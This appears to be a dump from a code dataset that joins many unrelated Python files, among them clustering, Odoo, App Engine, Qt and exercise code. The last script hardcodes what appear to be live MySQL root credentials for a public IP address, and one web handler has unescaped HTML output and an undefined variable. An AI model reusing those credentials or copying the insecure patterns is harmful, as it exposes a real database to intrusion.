rs.labels_\n n_clusters = len(set(labels)) - (1 if -1 in labels else 0)\n return n_clusters, labels.tolist()\n\ndef OPTICS(X, cluster_size=2, threshold=0.1):\n \"\"\"Perform DBSCAN-OPTICS clustering from features.\n default cosine distance\n\n Parameters\n ----------\n X : A feature array\n cluster_size: number of points to form a cluster\n threshold: distance threshold for clustering\n \"\"\"\n\n X = StandardScaler().fit_transform(X)\n points = [OpticsPoint(p, i) for i, p in enumerate(X)]\n\n optics = Optics(points, 2, cluster_size)\n optics.run()\n clusters = optics.cluster(threshold)\n\n labels = [-1] * X.shape[0]\n label = 0\n for cluster in clusters:\n for p in cluster.points:\n labels[p.idx] = label\n label += 1\n n_clusters = len(clusters)\n return n_clusters, labels\n\nif __name__ == \"__main__\":\n # #############################################################################\n # Generate sample data\n centers = [[1, 1], [-1, -1], [1, -1]]\n X, labels_true = make_blobs(n_samples=100, centers=centers, cluster_std=0.4,\n random_state=0)\n X = StandardScaler().fit_transform(X)\n\n # #############################################################################\n # Compute DBSCAN\n n_clusters, labels = DBSCAN(X)\n print (n_clusters)\n print (labels)\n\n # #############################################################################\n # Compute OPTICS\n n_clusters, labels = OPTICS(X)\n print (n_clusters)\n print (labels)\n\n","sub_path":"src/pyserver/utils/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":2962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"311444782","text":"import os\nimport sys\nimport inspect\n\nimport click\n\ntry:\n import mongoengine\nexcept ImportError as e:\n mongoengine = None\n\nclass Migration(object):\n \"\"\"\n All migration will inherit from this.\n \"\"\"\n # States\n STATE_NEW = 'New'\n STATE_PROCESSING = 'Processing'\n STATE_FAILED = 'Failed'\n STATE_COMPLETED = 'Completed'\n\n @property\n def migration_key(self):\n migration_file = inspect.getfile(self.__class__)\n migration_key = os.path.splitext(os.path.basename(migration_file))[0]\n return migration_key\n\n @property\n def migration_name(self):\n return self.__class__.__name__\n\n def update_status(self, state):\n raise NotImplementedError(\"This is an abstract class\")\n\n @property\n def status(self):\n raise NotImplementedError(\"This is an abstract class\")\n\n def process(self):\n click.echo(\"Processing {}\".format(self.migration_name))\n\n if self.status == Migration.STATE_NEW:\n self.update_status(Migration.STATE_PROCESSING)\n click.echo(\"Starting: {}\".format(self.migration_name))\n try:\n self.run()\n except Exception:\n click.echo(\"Migration {} Failed\".format(self.migration_name))\n typ, value, traceback = sys.exc_info()\n click.echo(\"Unexpected error: [{}]\".format(typ))\n click.echo(\"Unexpected value: [{}]\".format(value))\n click.echo(\"Unexpected traceback: [{}]\".format(traceback))\n self.update_status(Migration.STATE_FAILED)\n raise\n else:\n click.echo(\"Migration {} Successful\".format(self.migration_name))\n self.update_status(Migration.STATE_COMPLETED)\n elif self.status == Migration.STATE_PROCESSING:\n click.echo(\"{} is currently being processed\".format(self.migration_name))\n elif self.status == Migration.STATE_COMPLETED:\n click.echo(\"{} has already been processed\".format(self.migration_name))\n elif self.status == Migration.STATE_FAILED:\n click.echo(\"{} has already been processed, and failed - best to restart\".format(self.migration_name))\n\n def run(self):\n \"\"\"Should be implemented by subclass\"\"\"\n raise NotImplementedError\n\n\nclass MigrationMeta(mongoengine.Document):\n \"\"\"\n Mongo Table to keep track of the status of migrations\n \"\"\"\n key = mongoengine.StringField()\n state = mongoengine.StringField(default=Migration.STATE_NEW)\n processed_at = mongoengine.DateTimeField()\n\n @classmethod\n def find_or_create_by_key(cls, migration_key):\n return cls.objects.get_or_create(key=migration_key)[0]\n\n\nclass MongoBackedMigration(Migration):\n\n def update_status(self, state):\n migration_meta = MigrationMeta.find_or_create_by_key(self.migration_key)\n migration_meta.update(set__state=state)\n\n @property\n def status(self):\n migration_meta = MigrationMeta.find_or_create_by_key(self.migration_key)\n return migration_meta.state\n","sub_path":"monarch/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"568993301","text":"# -*- coding: utf-8 -*-\n# -----------------------------------------------------------------------------\n# Copyright (c) Vispy Development Team. All Rights Reserved.\n# Distributed under the (new) BSD License. See LICENSE.txt for more info.\n# -----------------------------------------------------------------------------\n\n\nimport numpy as np\nimport warnings\n\nF64_PRECISION_WARNING = (\"GPUs can't support floating point data with more \"\n \"than 32-bits, precision will be lost due to \"\n \"downcasting to 32-bit float.\")\n\n\ndef should_cast_to_f32(data_dtype):\n \"\"\"Check if data type is floating point with more than 32-bits.\"\"\"\n data_dtype = np.dtype(data_dtype)\n is_floating = np.issubdtype(data_dtype, np.floating)\n gt_float32 = data_dtype.itemsize > 4\n if is_floating and gt_float32:\n # OpenGL can't support floating point numbers greater than 32-bits\n warnings.warn(F64_PRECISION_WARNING)\n return True\n return False\n","sub_path":"napari/_vispy/vendored/gloo/texture.py","file_name":"texture.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"426622193","text":"#Tu tarea es escribir y probar una función que toma dos argumentos (un año y un mes) y devuelve el número de días del mes/año dado \n#(mientras que solo febrero es sensible al valor year, tu función debería ser universal).\n#La parte inicial de la función está lista. Ahora, haz que la función devuelva None si los argumentos no tienen sentido.\n#Por supuesto, puedes (y debes) utilizar la función previamente escrita y probada (LAB 4.1.3.6). Puede ser muy útil. \n#Te recomendamos que utilices una lista con los meses. Puedea crearla dentro de la función; este truco acortará significativamente el código.\n#Hemos preparado un código de prueba. Amplíalo para incluir más casos de prueba.\n\n\ndef isYearLeap(year):\n\tif year % 4 == 0 and (year%100 != 0 or year % 400 == 0):\n\t\treturn True\n\telse:\n\t\treturn False\ndef daysInMonth(year=None, month=None):\n\tif month in [1,3,5,7,8,10,12]:\n\t\treturn 31\n\telif month == 2:\n\t\tif isYearLeap(year):\n \t\t\t\treturn 29\n\t\telse:\n \t\t\treturn 28\n\telse:\n\t\treturn 30\n\n#FORMA MÁS LARGA\n#def isYearLeap(year):\n#\tif testYears[i] % 4 == 0 and (testYears[i] % 100 != 0 or testYears[i] % 400 == 0):\n#\t\treturn True\n#\telse:\n#\t\treturn False\n\n#def daysInMonth(year=None, month=None):\n#\tif testYears[i] % 4 == 0 and (testYears[i] % 100 != 0 or testYears[i] % 400 == 0) and testMonths[i] != 1:\n#\t\treturn 29\n#\telif testMonths[i]==1 or testMonths[i]==3 or testMonths[i]==5 or testMonths[i]==7 or testMonths[i]==8 or testMonths[i]==10 or testMonths[i]==12:\n#\t\treturn 31\n#\telif testMonths[i]==4 or testMonths[i]== 6 or testMonths[i]== 9 or testMonths[i]==11:\n#\t\treturn 30\n#\telse:\n#\t\treturn 28\n\ntestYears = [1900, 2000, 2016, 1987,1993]\ntestMonths = [2, 2, 1, 11,10]\ntestResults = [28, 29, 31, 30,31]\nfor i in range(len(testYears)):\n\tyr = testYears[i]\n\tmo = testMonths[i]\n\tprint(yr, mo, \"->\", end=\"\")\n\tresult = daysInMonth(yr, mo)\n\tif result == testResults[i]:\n\t\tprint(\"OK\")\n\telse:\n\t\tprint(\"Error\")\n\n","sub_path":"Cisco_python/module_4/act-2.py","file_name":"act-2.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"588283013","text":"import requests\nimport time\nfrom tornado.httpclient import AsyncHTTPClient\nfrom tornado.ioloop import IOLoop\nfrom tornado import gen\nimport json\nimport urllib\n\n@gen.coroutine\ndef asyc_http_get_request(url, add_to_headers=None):\n headers = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0'\n }\n if add_to_headers:\n headers.update(add_to_headers)\n try:\n http_client = AsyncHTTPClient()\n response = yield http_client.fetch(url, headers=headers)\n # res = json.loads(response.body)\n res = response\n except Exception as e:\n print(e)\n raise gen.Return({\"status\":\"fail\",\"msg\":e})\n raise gen.Return(res)\n\n@gen.coroutine\ndef get_response(address):\n try:\n r = yield asyc_http_get_request(address,None)\n except Exception as e:\n raise e\n finally:\n raise gen.Return(r)\n\n@gen.coroutine\ndef main():\n addresses = ['http://www.fdfkjkd.com/', 'http://www.jd.com','http://www.baidu.com',]\n for address in addresses:\n # r = requests.get(address)\n r = yield get_response(address)\n print(r,address)\n\nif __name__ == '__main__':\n IOLoop.instance().add_callback(main)\n IOLoop.instance().start()\n\n","sub_path":"my_tornado/my_runloop.py","file_name":"my_runloop.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"3089980","text":"#stdlib\nimport cgi,random, urllib\n#third party\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import users\nimport webapp2\n#handrolled\nimport image_url_fetcher as iuf\n\nMAIN_PAGE_FOOTER_TEMPLATE = \"\"\"\\\n \n
    \n
    \n \n\n
    \n\n
    Guestbook name:\n \n \n
    \n\n %s\n\n
    \n
    \n
    \n
    \n\n
    \n\n
    Image query tag name:\n \n \n
    \n\n\n \n\n\"\"\"\n\nDEFAULT_IMAGE_QUERY_NAME='default_image_query'\ndef imageurl_key(image_query_name = DEFAULT_IMAGE_QUERY_NAME):\n \"\"\"Constructs a Datastore key for a ImageQuery entity with image_query_name.\"\"\"\n return ndb.Key('ImageQuery', image_query_name)\n\nclass ImageQueryUrl(ndb.Model):\n '''Models an individual url result , with url, imagequery, and date.'''\n url = ndb.StringProperty(indexed=False)\n author = ndb.UserProperty()\n imagequery = ndb.StringProperty(indexed=True)\n date = ndb.DateTimeProperty(auto_now_add=True)\n\nDEFAULT_GUESTBOOK_NAME = 'default_guestbook'\n# We set a parent key on the 'Greetings' to ensure that they are all in the same\n# entity group. Queries across the single entity group will be consistent.\n# However, the write rate should be limited to ~1/second.\ndef guestbook_key(guestbook_name=DEFAULT_GUESTBOOK_NAME):\n \"\"\"Constructs a Datastore key for a Guestbook entity with guestbook_name.\"\"\"\n return ndb.Key('Guestbook', guestbook_name)\nclass Greeting(ndb.Model):\n \"\"\"Models an individual Guestbook entry with author, content, and date.\"\"\"\n author = ndb.UserProperty()\n content = ndb.StringProperty(indexed=False)\n date = ndb.DateTimeProperty(auto_now_add=True)\n\n\nclass MainPage(webapp2.RequestHandler):\n\n def get(self):\n self.response.write('')\n guestbook_name = self.request.get('guestbook_name',\n DEFAULT_GUESTBOOK_NAME)\n # Ancestor Queries, as shown here, are strongly consistent with the High\n # Replication Datastore. Queries that span entity groups are eventually\n # consistent. If we omitted the ancestor from this query there would be\n # a slight chance that Greeting that had just been written would not\n # show up in a query.\n greetings_query = Greeting.query(\n ancestor=guestbook_key(guestbook_name)).order(-Greeting.date)\n greetings = greetings_query.fetch(10)\n\n for greeting in greetings:\n if greeting.author:\n self.response.write(\n '%s wrote:' % greeting.author.nickname())\n else:\n self.response.write('An anonymous person wrote:')\n self.response.write('
    %s
    ' %\n cgi.escape(greeting.content))\n\n #######Image info\n \n self.response.write(\"
    \")\n image_query_name = self.request.get('image_query_name',\n DEFAULT_IMAGE_QUERY_NAME)\n\n # Write the submission form and the footer of the page\n if users.get_current_user():\n url = users.create_logout_url(self.request.uri)\n url_linktext = 'Logout'\n else:\n url = users.create_login_url(self.request.uri)\n url_linktext = 'Login'\n\n sign_query_params = urllib.urlencode({'guestbook_name': guestbook_name})\n sign_query_params2 = urllib.urlencode({'image_query_name': image_query_name})\n self.response.write(MAIN_PAGE_FOOTER_TEMPLATE %\n (sign_query_params, cgi.escape(guestbook_name),\n url, url_linktext,sign_query_params,'bad_name'))\n\n\n ##DISPLAY DB results \n image_query = ImageQueryUrl.query(\n ancestor=imageurl_key(image_query_name)).order(-ImageQueryUrl.date)\n images = image_query.fetch(3)\n\n for image in images:\n self.response.write(\"
    \")\n if image.author:\n self.response.write(\n '

    %s wrote:' % greeting.author.nickname() + '

    ')\n else:\n self.response.write('An anonymous person wrote:')\n self.response.write('
    %s
    ' %\n (image.imagequery))\n if image.url:\n split = image.url.split(\"\\n\")\n if len(split) > 1:\n self.response.write('-'*100 + 'SPLIT')\n for url in split:\n self.response.write(\"

    %s\" % url)\n self.response.write(\"
    \")\n\n self.response.write('
    ')\n\n \n\n \nclass ImageBucket(webapp2.RequestHandler):\n def post(self):\n image_name = self.request.get('image_query_name',\n DEFAULT_IMAGE_QUERY_NAME)\n\n image_query = ImageQueryUrl(parent=imageurl_key(image_name))\n\n if users.get_current_user():\n image_query.author = users.get_current_user()\n\n query_str = self.request.get('imagecontent')\n image_query.imagequery = query_str\n\n urls = iuf.parse_images_urls(query_str)\n \n image_query.url = \"\\n\".join(urls)\n image_query.put()\n\n query_params = {'image_query_name': image_name, 'pieguy' : 'hungry'}\n self.redirect('/?' + urllib.urlencode(query_params))\nclass Guestbook(webapp2.RequestHandler):\n\n def post(self):\n # We set the same parent key on the 'Greeting' to ensure each Greeting\n # is in the same entity group. Queries across the single entity group\n # will be consistent. However, the write rate to a single entity group\n # should be limited to ~1/second.\n guestbook_name = self.request.get('guestbook_name',\n DEFAULT_GUESTBOOK_NAME)\n greeting = Greeting(parent=guestbook_key(guestbook_name))\n\n if users.get_current_user():\n greeting.author = users.get_current_user()\n\n greeting.content = self.request.get('content')\n greeting.put()\n\n query_params = {'guestbook_name': guestbook_name}\n self.redirect('/?' + urllib.urlencode(query_params))\n\n\nclass ImageResult(webapp2.RequestHandler):\n\n def get(self):\n image_query2 = cgi.escape(self.request.get('content')).strip()\n # image_query = 'tiger'\n image_query2 = image_query2 if len(image_query2) > 0 else 'tiger'\n\n urls = iuf.parse_images_urls(image_query,\"codyscharfe\",all_iterations=True,start_page=1)\n \n \n self.response.write('You queried:
    ')\n        self.response.write(str(image_query2))\n        self.response.write('
    ')\n for url in urls:\n s = str('' % url)\n s += str('
    ' + url + '
    '*6)\n self.response.write(s)\n self.response.write('')\n\n\napplication = webapp2.WSGIApplication([\n ('/', MainPage),\n ('/enterImage', ImageBucket),\n ('/sign', Guestbook),\n ('/findimage',ImageResult ),\n], debug=True)","sub_path":"gae/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"602647723","text":"\"\"\"\nModule providing search functions\n\"\"\"\nfrom lxml import etree\nimport xmltodict\n\n\nclass Search:\n \"\"\"\n Class providing search functions.\n \"\"\"\n\n result_dicts_list = [] # contains result as a list of drug elements\n\n def __init__(self, data, search_dict, search_type=None):\n \"\"\"\n Initialize Search\n :param data: drug data as generator\n :param search_dict: expected properties as dict\n :param search_type: search_type (used in AdvancedSearch)\n \"\"\"\n self.search(data, search_dict, search_type=search_type)\n\n @staticmethod\n def get_xml_from_elem(elem):\n \"\"\"\n Get XML as string from given ELEM type\n :param elem: ELEM\n :return: XML as string\n \"\"\"\n return etree.tostring(elem)\n\n @staticmethod\n def get_dict_from_xml(xml):\n \"\"\"\n Get OrderedDict element from given XML (string)\n :param xml: as string\n :return: Ordered Dict\n \"\"\"\n return xmltodict.parse(xml, process_namespaces=True)\n\n def get_dict_list_from_elem_list(self, list_results):\n \"\"\"\n Get List of OrderedDicts from List of Elems\n :param list_results: List of Elems\n :return: List of Ordered Dicts\n \"\"\"\n\n list_of_elem_dicts = []\n for elem in list_results:\n xml = self.get_xml_from_elem(elem)\n result_dict = self.get_dict_from_xml(xml)\n list_of_elem_dicts.append(result_dict)\n return list_of_elem_dicts\n\n def search_elem(self, generated_elem, search_dict, search_type=None):\n \"\"\"\n Search through specific drug to find expected values\n :param generated_elem: drug as elem\n :param search_dict: expected properties as dict\n :param search_type: used in AdvancedSearch\n :return: boolean value, true if drug matches search_dict\n \"\"\"\n match = False\n\n for key in search_dict:\n result = generated_elem.findall(key)\n if result:\n specific_node = result[0].text\n # print(specific_node)\n if specific_node and (search_dict[key] in specific_node):\n match = True\n else:\n match = False\n break\n else:\n match = False\n break\n return match\n\n def search(self, data, search_dict, search_type=None):\n \"\"\"\n Search through generated data to find drugs with expected properties.\n Saving results as list of orderedDicts into result_dicts_list\n :param data: DB data as drug generator\n :param search_dict: expected properties as dict\n :param search_type: used in AdvancedSearch)\n \"\"\"\n\n list_of_elem_results = []\n\n for generated_elem in data:\n\n if self.search_elem(generated_elem, search_dict, search_type):\n list_of_elem_results.append(generated_elem)\n\n self.result_dicts_list = self.get_dict_list_from_elem_list(list_of_elem_results)\n try:\n if not self.result_dicts_list:\n raise ValueError\n except ValueError:\n print(\"Drug was not found.\")\n\n return\n","sub_path":"Parser/Search.py","file_name":"Search.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"272128244","text":"import PyDictionary\r\nfrom PyDictionary import PyDictionary\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Definition(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(1040, 570)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.defn_title_label = QtWidgets.QLabel(self.centralwidget)\r\n self.defn_title_label.setGeometry(QtCore.QRect(20, 30, 351, 51))\r\n self.defn_title_label.setObjectName(\"defn_title_label\")\r\n self.defn_text_label = QtWidgets.QLabel(self.centralwidget)\r\n self.defn_text_label.setGeometry(QtCore.QRect(20, 130, 801, 411))\r\n self.defn_text_label.setAutoFillBackground(True)\r\n self.defn_text_label.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.defn_text_label.setTextFormat(QtCore.Qt.PlainText)\r\n self.defn_text_label.setWordWrap(True)\r\n self.defn_text_label.setObjectName(\"defn_text_label\")\r\n self.back_bttn = QtWidgets.QPushButton(self.centralwidget)\r\n self.back_bttn.setGeometry(QtCore.QRect(0, 0, 75, 23))\r\n self.back_bttn.setObjectName(\"back_bttn\")\r\n self.back_bttn.clicked.connect(MainWindow.close)\r\n #self.back_bttn.clicked.connect(self.close)\r\n #self.back_bttn.clicked.connect(self.back_to_menu)\r\n self.word_line_edit = QtWidgets.QLineEdit(self.centralwidget)\r\n self.word_line_edit.setGeometry(QtCore.QRect(20, 90, 261, 20))\r\n self.word_line_edit.setObjectName(\"word_line_edit\")\r\n self.search_bttn = QtWidgets.QPushButton(self.centralwidget)\r\n self.search_bttn.setGeometry(QtCore.QRect(310, 90, 75, 23))\r\n self.search_bttn.setObjectName(\"search_bttn\")\r\n self.search_bttn.clicked.connect(self.search_word)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n MainWindow.setStatusBar(self.statusbar)\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n self.defn_text_label.setScaledContents(False)\t\r\n self.defn_text_label.setAlignment(QtCore.Qt.AlignJustify|QtCore.Qt.AlignTop)\r\n \r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.defn_title_label.setText(_translate(\"MainWindow\", \"Definitions:\"))\r\n self.defn_text_label.setText(_translate(\"MainWindow\", \"List of Definitions will be printed here \"))\r\n self.back_bttn.setText(_translate(\"MainWindow\", \"Back\"))\r\n #self.word_line_edit.setText(_translate(\"MainWindow\", \"Please enter your word here \"))\r\n self.word_line_edit.setPlaceholderText(\"Please enter your word here \") #This is placeholder text which is highlighted and on top you can write your input.This is the basic difference between setText and setPlaceholderText\r\n self.search_bttn.setText(_translate(\"MainWindow\", \"search\"))\r\n\r\n #def search_word(self):\r\n # word=self.word_line_edit.text()\r\n # dictionary=PyDictionary()\r\n # meaning=dictionary.meaning(word)\r\n # self.defn_text_label.setText(str(meaning))\r\n\r\n def search_word(self):\r\n word=self.word_line_edit.text()\r\n if len(word) != 0:\r\n dictionary=PyDictionary()\r\n dict_obj=dictionary.meaning(word) #This return a dictionary where keys= \"parts of Speech\" and items='respective meanings\"\r\n meanings=''\r\n for i in dict_obj.keys():\r\n meanings=meanings+\"\".join('Part of Speech : '+ i +' | Definitions : '+str(dict_obj.get(i)))+'\\n'\r\n self.defn_text_label.setText(meanings)\r\n else:\r\n self.defn_text_label.setText(\"Something went wrong ! No meaning found !\")\r\n return str(meanings)\r\n\r\n\r\n\r\n","sub_path":"Word Wall Application/definition.py","file_name":"definition.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"267434603","text":"\ndef szyfr(s, p):\n j = list(s)\n for i in range(len(s)):\n k = p[i % len(p)] - 1\n j[i], j[k] = j[k], j[i]\n return \"\".join(j)\n\n\ndef deszyfr(z, P):\n sl = list(z)\n for i in range(len(z)-1, -1, -1):\n k = P[i % len(P)] - 1\n sl[i], sl[k] = sl[k], sl[i]\n return \"\".join(sl)\n\n\n# 1\ndane1 = []\nwith open(\"szyfr1.txt\", \"r\") as file1:\n for line in file1:\n line = line.strip()\n dane1.append(line)\nklucz1 = dane1[6].split(\" \")\nklucz1 = [int(x) for x in klucz1]\nodp1 = \"\"\nfor sl in dane1[:6]:\n odp1 += f'{szyfr(sl, klucz1)}\\n'\n\n# 2\ndane2 = []\nwith open(\"szyfr2.txt\", \"r\") as file2:\n for line in file2:\n line = line.strip()\n dane2.append(line)\nklucz2 = dane2[1]\nklucz2 = [int(x) for x in klucz2.split(\" \")]\nodp2 = szyfr(dane2[0], klucz2)\n\n# 3\nsl3 = \"\"\nwith open(\"szyfr3.txt\", \"r\") as file3:\n for line in file3:\n line = line.strip()\n sl3 = line\n\nodp3 = deszyfr(sl3, [6, 2, 4, 1, 5, 3])\n\n\nwith open(\"wyniki.txt\", \"w\") as odp:\n odp.write(\"1.\\n\" + odp1)\n odp.write(\"\\n2.\\n\" + odp2)\n odp.write(\"\\n\\n3.\\n\" + odp3)","sub_path":"Programowanie/76 - zrobione/rozw.py","file_name":"rozw.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"161023602","text":"# Given an array of n integers nums and a target, find the number of index triplets i, j, k with 0 <= i < j < k < n that satisfy the condition nums[i] + nums[j] + nums[k] < target.\n\n# For example, given nums = [-2, 0, 1, 3], and target = 2.\n\n# Return 2. Because there are two triplets which sums are less than 2:\n\n# [-2, 0, 1]\n# [-2, 0, 3]\n\n# Follow up:\n # Could you solve it in O(n2) runtime?\n\n\n\ndef three_sum_smaller(arr, target):\n\n\tif len(arr) < 3:\n\t\treturn 0\n\n\n\tarr.sort()\n\tresult = []\n\tans = 0\n\n\tfor i in range(len(arr) - 2):\n\t\tif i > 0 and arr[i] == arr[i - 1]:\n\t\t\tcontinue\n\t\tl = i + 1\n\t\tr = len(arr) - 1\n\n\t\twhile l < r:\n\n\t\t\tssum = arr[i] + arr[l] + arr[r]\n\n\t\t\tif ssum < target:\n\t\t\t\tans += (r - l)\n\t\t\t\tresult.append((arr[i], arr[l], arr[r]))\n\t\t\t\tl += 1\n\n\t\t\telse:\n\t\t\t\tr -= 1\n\tprint(ans)\n\treturn result\n\nprint(three_sum_smaller([-2, 0, 1, 3], 2))\n\n","sub_path":"Google/3SumSmaller.py","file_name":"3SumSmaller.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"88008196","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of SplashSync Project.\n#\n# Copyright (C) 2015-2019 Splash Sync \n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n#\n# For the full copyright and license information, please view the LICENSE\n# file that was distributed with this source code.\n\nfrom splashpy import const\nfrom splashpy.componants import FieldFactory\n\n\nclass OrderStatus:\n \"\"\"\n Access to Order Status Fields\n \"\"\"\n\n __known_state = {\n 'draft': 'Quotation',\n 'sent': 'Quotation Sent',\n 'sale': 'Sales Order',\n 'done': 'Locked',\n 'cancel': 'Cancelled',\n }\n\n __known_state_trans = {\n 'draft': 'OrderDraft',\n 'sent': 'OrderPaymentDue',\n 'sale': 'OrderProcessing',\n 'done': 'OrderDelivered',\n 'cancel': 'OrderCanceled',\n }\n\n def buildStatusFields(self):\n # ====================================================================#\n # Order Global State\n FieldFactory.create(const.__SPL_T_VARCHAR__, \"state\", \"Order Status\")\n FieldFactory.microData(\"http://schema.org/Order\", \"orderStatus\")\n FieldFactory.addChoices(OrderStatus.__get_status_choices())\n FieldFactory.group(\"General\")\n # ====================================================================#\n # Order is Canceled\n FieldFactory.create(const.__SPL_T_BOOL__, \"isCanceled\", \"Is canceled\")\n FieldFactory.microData(\"http://schema.org/OrderStatus\", \"OrderCancelled\")\n FieldFactory.group(\"Meta\")\n FieldFactory.isReadOnly()\n # ====================================================================#\n # Order is Validated\n FieldFactory.create(const.__SPL_T_BOOL__, \"isValidated\", \"Is Validated\")\n FieldFactory.microData(\"http://schema.org/OrderStatus\", \"OrderPaymentDone\")\n FieldFactory.group(\"Meta\")\n FieldFactory.isReadOnly()\n # ====================================================================#\n # Order is Processing\n FieldFactory.create(const.__SPL_T_BOOL__, \"isProcessing\", \"Is Processing\")\n FieldFactory.microData(\"http://schema.org/OrderStatus\", \"OrderProcessing\")\n FieldFactory.group(\"Meta\")\n FieldFactory.isReadOnly()\n # ====================================================================#\n # Order is Closed\n FieldFactory.create(const.__SPL_T_BOOL__, \"isClosed\", \"Is Closed\")\n FieldFactory.microData(\"http://schema.org/OrderStatus\", \"OrderDelivered\")\n FieldFactory.group(\"Meta\")\n FieldFactory.isReadOnly()\n\n def getStatusFields(self, index, field_id):\n # ====================================================================#\n # Order Global State\n if field_id == \"state\":\n self._out[field_id] = self._get_splash_status()\n self._in.__delitem__(index)\n # Order is Canceled\n if field_id == \"isCanceled\":\n self._out[field_id] = (self.object.state in [\"cancel\"])\n self._in.__delitem__(index)\n # Order is Validated\n if field_id == \"isValidated\":\n self._out[field_id] = (self.object.state in [\"sent\", \"sale\", \"done\"])\n self._in.__delitem__(index)\n # Order is Processing\n if field_id == \"isProcessing\":\n self._out[field_id] = (self.object.state in [\"sale\"])\n self._in.__delitem__(index)\n # Order is Closed\n if field_id == \"isClosed\":\n self._out[field_id] = (self.object.state in [\"done\"])\n self._in.__delitem__(index)\n\n def setStatusFields(self, field_id, field_data):\n # ====================================================================#\n # Order Global State\n if field_id == \"state\":\n state = self._get_odoo_status(field_data)\n if isinstance(state, str) and self.object.state != state:\n self.object.state = state\n self._in.__delitem__(field_id)\n\n def _is_editable(self, state=None):\n \"\"\"\n Check if Order Status is Editable\n\n :rtype: bool\n \"\"\"\n if state is None:\n return self.object.state is \"draft\"\n return state is \"draft\"\n\n def _get_splash_status(self):\n \"\"\"\n Get Translated Order Status\n\n :rtype: str\n \"\"\"\n if self.object.state in OrderStatus.__known_state_trans.keys():\n return OrderStatus.__known_state_trans[self.object.state]\n return \"\"\n\n def _get_odoo_status(self, state):\n \"\"\"\n Get Odoo Order Status\n\n :rtype: str|None\n \"\"\"\n for odoo_state, splash_state in OrderStatus.__known_state_trans.items():\n if state == splash_state:\n return odoo_state\n return None\n\n @staticmethod\n def __get_status_choices():\n \"\"\"\n Get List Of Possible Order Status Choices\n\n :rtype: dict\n \"\"\"\n response = []\n for status, name in OrderStatus.__known_state.items():\n response.append((OrderStatus.__known_state_trans[status], name))\n\n return response\n","sub_path":"odoo/addons/splashsync/objects/orders/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"451553644","text":"import datetime\nimport MySQLdb as my\n\n\ndb = my.connect(\"130.211.157.189\",\"root\",\"root\",\"kendb\" )\ncursor = db.cursor()\nsqlSelectAllLaws=\"\"\"select * from LAWS\"\"\"\ncursor.execute(sqlSelectAllLaws)\n# Get ALL LAWS\nallLaws = cursor.fetchall()\nfor eachLaw in allLaws:\n categoryName=eachLaw[8]\n agencyName=eachLaw[9]\n # Get IDS from Lookup Table for Catgeory and Agency\n sqlCategoryID = \"\"\"select ID from CATEGORIES where CATEGORIES_VALUE='%s'\"\"\"%(categoryName)\n sqlAgencyID = \"\"\"select ID from AGENCIES where AGENCIES_VALUE='%s'\"\"\" %(agencyName)\n cursor.execute(sqlCategoryID)\n categoryID=cursor.fetchone()\n cursor.execute(sqlAgencyID)\n agencyID = cursor.fetchone()\n if(categoryID is not None):\n categoryID=categoryID[0]\n else:categoryID=-1\n if (agencyID is not None):\n agencyID = agencyID[0]\n else:agencyID=-1\n # Get ALL LAWS\n allLaws = cursor.fetchall()\n # Get ditinct field and value from Laws KDB table for agencyID and categoryID\n sqlSelectFieldFieldValueFromKDB = \"\"\"select distinct field, value from LAWS_KDB WHERE categoryid=%d or agenciesid=%d\"\"\" % (categoryID,agencyID)\n #print(sqlSelectFieldFieldValueFromKDB)\n cursor.execute(sqlSelectFieldFieldValueFromKDB)\n fieldFieldValueList = cursor.fetchall()\n column={\"professional\":0,\"bachelor\":0,\"civil_status\":0, \"parent\":0,\"age_range\":0 }\n colVal = []\n for row in fieldFieldValueList:\n # print row[0],\"value \",row[1]\n #colVal.append(row[1])\n if(row[0]==\"professional\"):\n column[\"professional\"]=row[1]\n elif(row[0]==\"bachelor\"):\n column[\"bachelor\"] = 